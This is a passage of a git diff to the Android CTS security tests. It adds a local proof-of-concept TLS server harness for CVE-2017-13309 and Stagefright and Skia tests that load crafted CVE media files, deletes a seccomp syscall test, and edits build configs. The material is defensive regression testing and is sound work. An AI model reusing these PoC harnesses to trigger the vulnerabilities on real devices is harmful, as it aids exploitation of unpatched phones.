+              hsInAppBuffer = enlargeApplicationBuffer(engine, hsInAppBuffer);
+              break;
+            case BUFFER_UNDERFLOW:
+              hsInNetBuffer = handleBufferUnderflow(engine, hsInNetBuffer);
+              break;
+            case CLOSED:
+              if (engine.isOutboundDone()) {
+                return false;
+              } else {
+                engine.closeOutbound();
+                handshakeStatus = engine.getHandshakeStatus();
+                break;
+              }
+            default:
+              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
+          }
+        case NEED_WRAP:
+          hsOutNetBuffer.clear();
+          try {
+            result = engine.wrap(hsOutAppBuffer, hsOutNetBuffer);
+            handshakeStatus = result.getHandshakeStatus();
+          } catch (SSLException sslException) {
+            engine.closeOutbound();
+            handshakeStatus = engine.getHandshakeStatus();
+            break;
+          }
+          switch(result.getStatus()) {
+            case OK:
+              hsOutNetBuffer.flip();
+              while(hsOutNetBuffer.hasRemaining()) {
+                socketChannel.write(hsOutNetBuffer);
+              }
+              break;
+            case BUFFER_OVERFLOW:
+              hsOutNetBuffer = enlargePacketBuffer(engine, hsOutNetBuffer);
+              break;
+            case BUFFER_UNDERFLOW:
+              throw new SSLException("Buffer underflow in handshake and wrap");
+            case CLOSED:
+              try {
+                hsOutNetBuffer.flip();
+                while(hsOutNetBuffer.hasRemaining()) {
+                  socketChannel.write(hsOutNetBuffer);
+                }
+                hsInNetBuffer.clear();
+              } catch (Exception e) {
+                handshakeStatus = engine.getHandshakeStatus();
+              }
+              break;
+            default:
+              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
+          }
+          break;
+        case NEED_TASK:
+          Runnable task;
+          while((task = engine.getDelegatedTask()) != null) {
+            executor.execute(task);
+          }
+          handshakeStatus = engine.getHandshakeStatus();
+          break;
+        case FINISHED:
+          break;
+        case NOT_HANDSHAKING:
+          break;
+        default:
+          throw new IllegalStateException("Invalid SSL status: " + handshakeStatus);
+      }
+        }
+    return true;
+  }
+
+  public ByteBuffer enlargePacketBuffer(SSLEngine engine, ByteBuffer buffer) {
+    return enlargeBuffer(buffer, engine.getSession().getPacketBufferSize());
+  }
+
+  public ByteBuffer enlargeApplicationBuffer(SSLEngine engine, ByteBuffer buffer) {
+    return enlargeBuffer(buffer, engine.getSession().getApplicationBufferSize());
+  }
+
+  public ByteBuffer enlargeBuffer(ByteBuffer buffer, int bufferSize) {
+    if(bufferSize > buffer.capacity()) {
+      buffer = ByteBuffer.allocate(bufferSize);
+    }
+    else {
+      buffer = ByteBuffer.allocate(buffer.capacity() * 2);
+    }
+    return buffer;
+  }
+  public ByteBuffer handleBufferUnderflow(SSLEngine engine, ByteBuffer buffer) {
+    if(engine.getSession().getPacketBufferSize() < buffer.limit()) {
+      return buffer;
+    }
+    else {
+      ByteBuffer replaceBuffer = enlargePacketBuffer(engine, buffer);
+      buffer.flip();
+      replaceBuffer.put(buffer);
+      return replaceBuffer;
+    }
+  }
+}
+
+class TestSSLServer {
+
+  public ServerRunnable serverRunnable;
+  Thread server;
+
+  public TestSSLServer() {
+    serverRunnable = new ServerRunnable();
+    server = new Thread(serverRunnable);
+    server.start();
+
+    try{
+      Thread.sleep(1000);
+    }catch(InterruptedException e){
+      e.printStackTrace();
+    }
+  }
+
+  protected void onCancelled(String result) {
+    serverRunnable.stop();
+  }
+}
+
+class ServerRunnable implements Runnable {
+
+  SSLServer server;
+  InputStream serverKey = null;
+  InputStream trustedCert = null;
+
+  public void run() {
+    try {
+      server = new SSLServer();
+      server.runServer();
+    }
+    catch (Exception e) {
+      e.printStackTrace();
+    }
+  }
+
+  public void stop() {
+    server.stopServer();
+  }
+}
+
+class SSLServer {
+  public SSLContext serverContext;
+
+  public ByteBuffer hsInAppBuffer, hsInNetBuffer, hsOutAppBuffer, hsOutNetBuffer;
+  public ByteBuffer dataInAppBuffer, dataInNetBuffer;
+
+  final String hostAddress = "127.0.0.1";
+  public int port = 9000;
+  public boolean bActive = false;
+
+  public Selector selector;
+  InputStream serverKey = null;
+  InputStream trustedCert = null;
+  public ExecutorService executor = Executors.newSingleThreadExecutor();
+
+  public void stopServer() {
+    bActive = false;
+    executor.shutdown();
+    selector.wakeup();
+  }
+
+  public void runServer() {
+    KeyStore ks = null;
+
+    serverKey = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_server);
+    trustedCert = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_trustedcert);
+
+    try {
+      ks = KeyStore.getInstance(KeyStore.getDefaultType());
+    } catch (KeyStoreException e) {
+      e.printStackTrace();
+    }
+    KeyStore ts = null;
+    try {
+      ts = KeyStore.getInstance(KeyStore.getDefaultType());
+    } catch (KeyStoreException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      ks.load(serverKey, "pocserver".toCharArray());
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    try {
+      ts.load(trustedCert, "trusted".toCharArray());
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+
+    KeyManagerFactory kmf = null;
+    try {
+      kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    }
+    try {
+      kmf.init(ks, "keypass".toCharArray());
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+
+    TrustManagerFactory tmf = null;
+    try {
+      tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    }
+    try {
+      tmf.init(ts);
+    } catch (KeyStoreException e) {
+      e.printStackTrace();
+    }
+
+    SSLContext sslCtx = null;
+    try {
+      sslCtx = SSLContext.getInstance("TLSv1.2");
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      sslCtx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), new SecureRandom());
+    } catch (KeyManagementException e) {
+      e.printStackTrace();
+    }
+
+    serverContext = sslCtx;
+
+    SSLSession dummySession = serverContext.createSSLEngine().getSession();
+
+    hsInAppBuffer = ByteBuffer.allocate(4096);
+    hsInNetBuffer = ByteBuffer.allocate(dummySession.getPacketBufferSize());
+    hsOutAppBuffer = ByteBuffer.allocate(4096);
+    hsOutNetBuffer = ByteBuffer.allocate(dummySession.getPacketBufferSize());
+    dataInAppBuffer = ByteBuffer.allocate(4096);
+    dataInNetBuffer = ByteBuffer.allocate(dummySession.getPacketBufferSize());
+    dummySession.invalidate();
+
+    try {
+      selector = SelectorProvider.provider().openSelector();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    ServerSocketChannel serverSocketChannel = null;
+    try {
+      serverSocketChannel = ServerSocketChannel.open();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    try {
+      serverSocketChannel.configureBlocking(false);
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    try {
+      serverSocketChannel.socket().bind(new InetSocketAddress(hostAddress, port));
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    try {
+      serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
+    } catch (ClosedChannelException e) {
+      e.printStackTrace();
+    }
+
+    bActive = true;
+
+    while(bActive) {
+      try {
+        selector.select();
+      } catch (IOException e) {
+        e.printStackTrace();
+      }
+      Iterator<SelectionKey> selectedKeys = selector.selectedKeys().iterator();
+      while (selectedKeys.hasNext()) {
+        SelectionKey key = selectedKeys.next();
+        selectedKeys.remove();
+        if (!key.isValid()) {
+          continue;
+        }
+        if (key.isAcceptable()) {
+          try {
+            accept(key);
+          } catch (Exception e) {
+            e.printStackTrace();
+          }
+        } else if (key.isReadable()) {
+          try {
+            read((SocketChannel) key.channel(), (SSLEngine) key.attachment());
+          } catch (IOException e) {
+            e.printStackTrace();
+          }
+        }
+      }
+    }
+  }
+
+  public void accept(SelectionKey key) throws Exception{
+    SocketChannel socketChannel = ((ServerSocketChannel)key.channel()).accept();
+    socketChannel.configureBlocking(false);
+
+    SSLEngine engine = serverContext.createSSLEngine();
+    engine.setUseClientMode(false);
+    engine.beginHandshake();
+
+    socketChannel.register(selector, SelectionKey.OP_READ, engine);
+
+    if(doHandshake(socketChannel, engine)) {
+      socketChannel.register(selector, SelectionKey.OP_READ, engine);
+    }
+    else {
+      socketChannel.close();
+    }
+  }
+
+  public boolean doHandshake(SocketChannel socketChannel, SSLEngine engine) throws IOException {
+    SSLEngineResult result = null;
+    SSLEngineResult.HandshakeStatus handshakeStatus;
+    int appBufferSize = engine.getSession().getApplicationBufferSize();
+
+    ByteBuffer srcAppData = ByteBuffer.allocate(appBufferSize);
+    ByteBuffer dstAppData = ByteBuffer.allocate(appBufferSize);
+
+    srcAppData.clear();
+    dstAppData.clear();
+
+    handshakeStatus = engine.getHandshakeStatus();
+    while (handshakeStatus != SSLEngineResult.HandshakeStatus.FINISHED
+        && handshakeStatus != SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING) {
+
+      switch(handshakeStatus) {
+        case NEED_UNWRAP:
+          if(socketChannel.read(hsInNetBuffer) < 0) {
+            if(engine.isInboundDone() && engine.isOutboundDone()) {
+              return false;
+            }
+            try {
+              engine.closeInbound();
+            } catch (SSLException e) {
+              Log.e("server-poc-test","Forced to close inbound. No proper SSL/TLS close notification message from peer");
+            }
+            engine.closeOutbound();
+            handshakeStatus = engine.getHandshakeStatus();
+            break;
+          }
+          hsInNetBuffer.flip();
+          try {
+            result = engine.unwrap(hsInNetBuffer, hsInAppBuffer);
+            hsInNetBuffer.compact();
+            handshakeStatus = result.getHandshakeStatus();
+          } catch (SSLException sslException) {
+            engine.closeOutbound();
+            handshakeStatus = engine.getHandshakeStatus();
+            break;
+          }
+          switch(result.getStatus()) {
+            case OK:
+              break;
+            case BUFFER_OVERFLOW:
+              hsInAppBuffer = enlargeApplicationBuffer(engine, hsInAppBuffer);
+              break;
+            case BUFFER_UNDERFLOW:
+              hsInNetBuffer = handleBufferUnderflow(engine, hsInNetBuffer);
+              break;
+            case CLOSED:
+              if (engine.isOutboundDone()) {
+                return false;
+              } else {
+                engine.closeOutbound();
+                handshakeStatus = engine.getHandshakeStatus();
+                break;
+              }
+            default:
+              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
+          }
+        case NEED_WRAP:
+          hsOutNetBuffer.clear();
+          try {
+            result = engine.wrap(hsOutAppBuffer, hsOutNetBuffer);
+            handshakeStatus = result.getHandshakeStatus();
+          } catch (SSLException sslException) {
+            engine.closeOutbound();
+            handshakeStatus = engine.getHandshakeStatus();
+            break;
+          }
+          switch(result.getStatus()) {
+            case OK:
+              hsOutNetBuffer.flip();
+              while(hsOutNetBuffer.hasRemaining()) {
+                socketChannel.write(hsOutNetBuffer);
+              }
+              break;
+            case BUFFER_OVERFLOW:
+              hsOutNetBuffer = enlargePacketBuffer(engine, hsOutNetBuffer);
+              break;
+            case BUFFER_UNDERFLOW:
+              throw new SSLException("Buffer underflow in handshake and wrap");
+            case CLOSED:
+              try {
+                hsOutNetBuffer.flip();
+                while(hsOutNetBuffer.hasRemaining()) {
+                  socketChannel.write(hsOutNetBuffer);
+                }
+                hsInNetBuffer.clear();
+              } catch (Exception e) {
+                handshakeStatus = engine.getHandshakeStatus();
+              }
+              break;
+            default:
+              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
+          }
+          break;
+        case NEED_TASK:
+          Runnable task;
+          while((task = engine.getDelegatedTask()) != null) {
+            executor.execute(task);
+          }
+          handshakeStatus = engine.getHandshakeStatus();
+          break;
+        case FINISHED:
+          break;
+        case NOT_HANDSHAKING:
+          break;
+        default:
+          throw new IllegalStateException("Invalid SSL status: " + handshakeStatus);
+      }
+        }
+    return true;
+  }
+
+  public ByteBuffer enlargePacketBuffer(SSLEngine engine, ByteBuffer buffer) {
+    return enlargeBuffer(buffer, engine.getSession().getPacketBufferSize());
+  }
+
+  public ByteBuffer enlargeApplicationBuffer(SSLEngine engine, ByteBuffer buffer) {
+    return enlargeBuffer(buffer, engine.getSession().getApplicationBufferSize());
+  }
+
+  public ByteBuffer enlargeBuffer(ByteBuffer buffer, int bufferSize) {
+    if(bufferSize > buffer.capacity()) {
+      buffer = ByteBuffer.allocate(bufferSize);
+    }
+    else {
+      buffer = ByteBuffer.allocate(buffer.capacity() * 2);
+    }
+    return buffer;
+  }
+  public ByteBuffer handleBufferUnderflow(SSLEngine engine, ByteBuffer buffer) {
+    if(engine.getSession().getPacketBufferSize() < buffer.limit()) {
+      return buffer;
+    }
+    else {
+      ByteBuffer replaceBuffer = enlargePacketBuffer(engine, buffer);
+      buffer.flip();
+      replaceBuffer.put(buffer);
+      return replaceBuffer;
+    }
+  }
+
+  public void read(SocketChannel socketChannel, SSLEngine engine) throws IOException {
+    dataInNetBuffer.clear();
+    int bytesRead = socketChannel.read(dataInNetBuffer);
+    if(bytesRead > 0) {
+      dataInNetBuffer.flip();
+      while(dataInNetBuffer.hasRemaining()) {
+        dataInAppBuffer.clear();
+        SSLEngineResult result = engine.unwrap(dataInNetBuffer, dataInAppBuffer);
+        switch(result.getStatus()) {
+          case OK:
+            dataInAppBuffer.flip();
+            break;
+          case BUFFER_OVERFLOW:
+            dataInAppBuffer = enlargeApplicationBuffer(engine, dataInAppBuffer);
+            break;
+          case BUFFER_UNDERFLOW:
+            dataInNetBuffer = handleBufferUnderflow(engine, dataInNetBuffer);
+            break;
+          case CLOSED:
+            closeConnection(socketChannel, engine);
+            return;
+          default:
+            throw new IllegalStateException("invalid SSL status: " + result.getStatus());
+        }
+      }
+    }
+    else if(bytesRead < 0) {
+      handleEndOfStream(socketChannel, engine);
+    }
+  }
+
+  public void handleEndOfStream(SocketChannel socketChannel, SSLEngine engine) throws IOException {
+    try {
+      engine.closeInbound();
+    }
+    catch (Exception e) {
+      Log.e("server-poc-test", "Close inbound forced");
+    }
+    closeConnection(socketChannel, engine);
+  }
+
+  public void closeConnection(SocketChannel socketChannel, SSLEngine engine) throws IOException {
+    try{
+      serverKey.close();
+    } catch (IOException e){
+      e.printStackTrace();
+    }
+
+    try {
+      trustedCert.close();
+    } catch (IOException e){
+      e.printStackTrace();
+    }
+
+    engine.closeOutbound();
+    doHandshake(socketChannel, engine);
+    socketChannel.close();
+  }
+}
diff --git a/tests/tests/security/src/android/security/cts/SeccompTest.java b/tests/tests/security/src/android/security/cts/SeccompTest.java
deleted file mode 100644
index 745aa87..0000000
--- a/tests/tests/security/src/android/security/cts/SeccompTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.test.AndroidTestCase;
-
-import com.android.compatibility.common.util.CpuFeatures;
-
-import junit.framework.TestCase;
-
-/**
- * Verify that the seccomp policy is enforced
- */
-public class SeccompTest extends AndroidTestCase {
-
-    static {
-        System.loadLibrary("ctssecurity_jni");
-    }
-
-    public void testCTSSyscallBlocked() {
-        if (CpuFeatures.isArm64Cpu()) {
-            testBlocked(217); // __NR_add_key
-            testBlocked(219); // __NR_keyctl
-            testAllowed(56); // __NR_openat
-
-            // b/35034743 - do not remove test without reading bug
-            testAllowed(267); // __NR_fstatfs64
-        } else if (CpuFeatures.isArmCpu()) {
-            testBlocked(309); // __NR_add_key
-            testBlocked(311); // __NR_keyctl
-            testAllowed(322); // __NR_openat
-
-            // b/35906875 - do not remove test without reading bug
-            testAllowed(316); // __NR_inotify_init
-        } else if (CpuFeatures.isX86_64Cpu()) {
-            testBlocked(248); // __NR_add_key
-            testBlocked(250); // __NR_keyctl
-            testAllowed(257); // __NR_openat
-        } else if (CpuFeatures.isX86Cpu()) {
-            testBlocked(286); // __NR_add_key
-            testBlocked(288); // __NR_keyctl
-            testAllowed(295); // __NR_openat
-        } else if (CpuFeatures.isMips64Cpu()) {
-            testBlocked(5239); // __NR_add_key
-            testBlocked(5241); // __NR_keyctl
-            testAllowed(5247); // __NR_openat
-        } else if (CpuFeatures.isMipsCpu()) {
-            testBlocked(4280); // __NR_add_key
-            testBlocked(4282); // __NR_keyctl
-            testAllowed(4288); // __NR_openat
-        } else {
-            fail("Unsupported OS");
-        }
-    }
-
-    public void testCTSSwapOnOffBlocked() {
-        if (CpuFeatures.isArm64Cpu()) {
-            testBlocked(224); // __NR_swapon
-            testBlocked(225); // __NR_swapoff
-        } else if (CpuFeatures.isArmCpu()) {
-            testBlocked(87);  // __NR_swapon
-            testBlocked(115); // __NR_swapoff
-        } else if (CpuFeatures.isX86_64Cpu()) {
-            testBlocked(167); // __NR_swapon
-            testBlocked(168); // __NR_swapoff
-        } else if (CpuFeatures.isX86Cpu()) {
-            testBlocked(87);  // __NR_swapon
-            testBlocked(115); // __NR_swapoff
-        } else if (CpuFeatures.isMips64Cpu()) {
-            testBlocked(5162); // __NR_swapon
-            testBlocked(5163); // __NR_swapoff
-        } else if (CpuFeatures.isMipsCpu()) {
-            testBlocked(4087); // __NR_swapon
-            testBlocked(4115); // __NR_swapoff
-        } else {
-            fail("Unsupported OS");
-        }
-    }
-
-    private void testBlocked(int nr) {
-        assertTrue("Syscall " + nr + " allowed", testSyscallBlocked(nr));
-    }
-
-    private void testAllowed(int nr) {
-        assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
-    }
-
-    private static final native boolean testSyscallBlocked(int nr);
-}
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 23253df..16f01eb 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -29,6 +29,11 @@
 @SecurityTest
 public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
 
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testAndroid_cve_2017_13318() {
+        doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
+    }
+
     @SecurityTest
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 638ea80..9bc8e88 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -45,9 +45,8 @@
 import android.webkit.cts.CtsTestServer;
 
 import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.Crash;
 
-import java.io.ObjectInputStream;
+import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileReader;
@@ -65,6 +64,10 @@
 import java.util.concurrent.locks.ReentrantLock;
 import java.util.regex.Pattern;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import android.security.cts.R;
 import android.media.TimedText;
 
@@ -531,8 +534,9 @@
     @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
-                new CrashUtils.Config().checkMinAddress(false));
+        doStagefrightTestRawBlob(
+                R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
+                    new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
@@ -1047,8 +1051,8 @@
         };
         server.start();
         String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(
-                new CrashUtils.Config().checkMinAddress(false));
+        final MediaPlayerCrashListener mpcl =
+                new MediaPlayerCrashListener(new CrashUtils.Config().checkMinAddress(false));
         LooperThread t = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -1511,12 +1515,6 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testStagefright_cve_2019_2334() throws Exception {
-        doStagefrightTest(R.raw.cve_2019_2334);
-    }
-
-    @Test
     @SecurityTest(minPatchLevel = "2018-02")
     public void testStagefright_cve_2017_13233() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2017_13233_hevc, "video/hevc", 640,
@@ -1556,6 +1554,12 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2334() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2334);
+    }
+
+    @Test
     @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_13204() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
@@ -1697,6 +1701,7 @@
         CtsTestServer server = new CtsTestServer(context);
         String rname = resources.getResourceEntryName(rid);
         String url = server.getAssetUrl("raw/" + rname);
+
         doStagefrightTestMediaPlayer(url, config);
         doStagefrightTestMediaCodec(url, config);
         doStagefrightTestMediaMetadataRetriever(url, config);
@@ -1756,7 +1761,7 @@
         return new Surface(surfaceTex);
     }
 
-    public ArrayList<Crash> getCrashReport(String testname, long timeout)
+    public JSONArray getCrashReport(String testname, long timeout)
         throws InterruptedException {
         Log.i(TAG, CrashUtils.UPLOAD_REQUEST);
         File reportFile = new File(CrashUtils.DEVICE_PATH, testname);
@@ -1768,9 +1773,15 @@
         if (!reportFile.exists() || !reportFile.isFile() || !lockFile.exists()) {
             return null;
         }
-        try (ObjectInputStream reader = new ObjectInputStream(new FileInputStream(reportFile))) {
-            return (ArrayList<Crash>) reader.readObject();
-        } catch (IOException | ClassNotFoundException e) {
+        try (BufferedReader reader = new BufferedReader(new FileReader(reportFile))) {
+            StringBuilder json = new StringBuilder();
+            String line = reader.readLine();
+            while (line != null) {
+                json.append(line);
+                line = reader.readLine();
+            }
+            return new JSONArray(json.toString());
+        } catch (IOException | JSONException e) {
             Log.e(TAG, "Failed to deserialize crash list with error " + e.getMessage());
             return null;
         }
@@ -1858,7 +1869,7 @@
                 SystemClock.sleep(1000);
             }
             if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
-                ArrayList<Crash> crashes = getCrashReport(name.getMethodName(), 5000);
+                JSONArray crashes = getCrashReport(name.getMethodName(), 5000);
                 if (crashes == null) {
                     Log.e(TAG, "Crash results not found for test " + name.getMethodName());
                     return what;
@@ -2559,7 +2570,8 @@
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
             int frameSizes[]) throws Exception {
-        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, null);
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, new CrashUtils.Config());
     }
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
@@ -2750,7 +2762,7 @@
     }
 
     private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
-        doStagefrightTestExtractorSeek(rid, offset, null);
+        doStagefrightTestExtractorSeek(rid, offset, new CrashUtils.Config()); // check crash address by default
     }
 
     private void doStagefrightTestExtractorSeek(final int rid, final long offset,
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
index a7e3cac..7e4ab93 100644
--- a/tests/tests/security/testeffect/Android.mk
+++ b/tests/tests/security/testeffect/Android.mk
@@ -28,5 +28,6 @@
 LOCAL_C_INCLUDES := \
   $(call include-path-for, audio-effects)
 
+LOCAL_CFLAGS := -Wno-unused-parameter
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/selinuxTargetSdk/Android.mk b/tests/tests/selinux/selinuxTargetSdk/Android.mk
index 138da59..a0923ee 100755
--- a/tests/tests/selinux/selinuxTargetSdk/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk/Android.mk
@@ -17,11 +17,11 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
-    ctstestrunner \
-    legacy-android-test
+    ctstestrunner
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkTestCases
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
index bb0facf..5f88bb1 100644
--- a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Permission Selinux test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSelinuxTargetSdkTestCases.apk" />
diff --git a/tests/tests/selinux/selinuxTargetSdk2/Android.mk b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
index 49a0868..f475f9f 100755
--- a/tests/tests/selinux/selinuxTargetSdk2/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
     ctstestrunner \
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
index e37d1c9..4b278b2 100644
--- a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Permission Selinux test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSelinuxTargetSdk2TestCases.apk" />
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index ec5d89a..29333aa 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -36,7 +36,7 @@
 
 LOCAL_PACKAGE_NAME := CtsShortcutManagerTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index 8c0bdb7..5774466 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher1
 
@@ -68,7 +68,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher2
 
@@ -98,7 +98,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher3
 
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
index 509c724..0d954e2 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher4
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index 1ece5e9..b8741f2 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
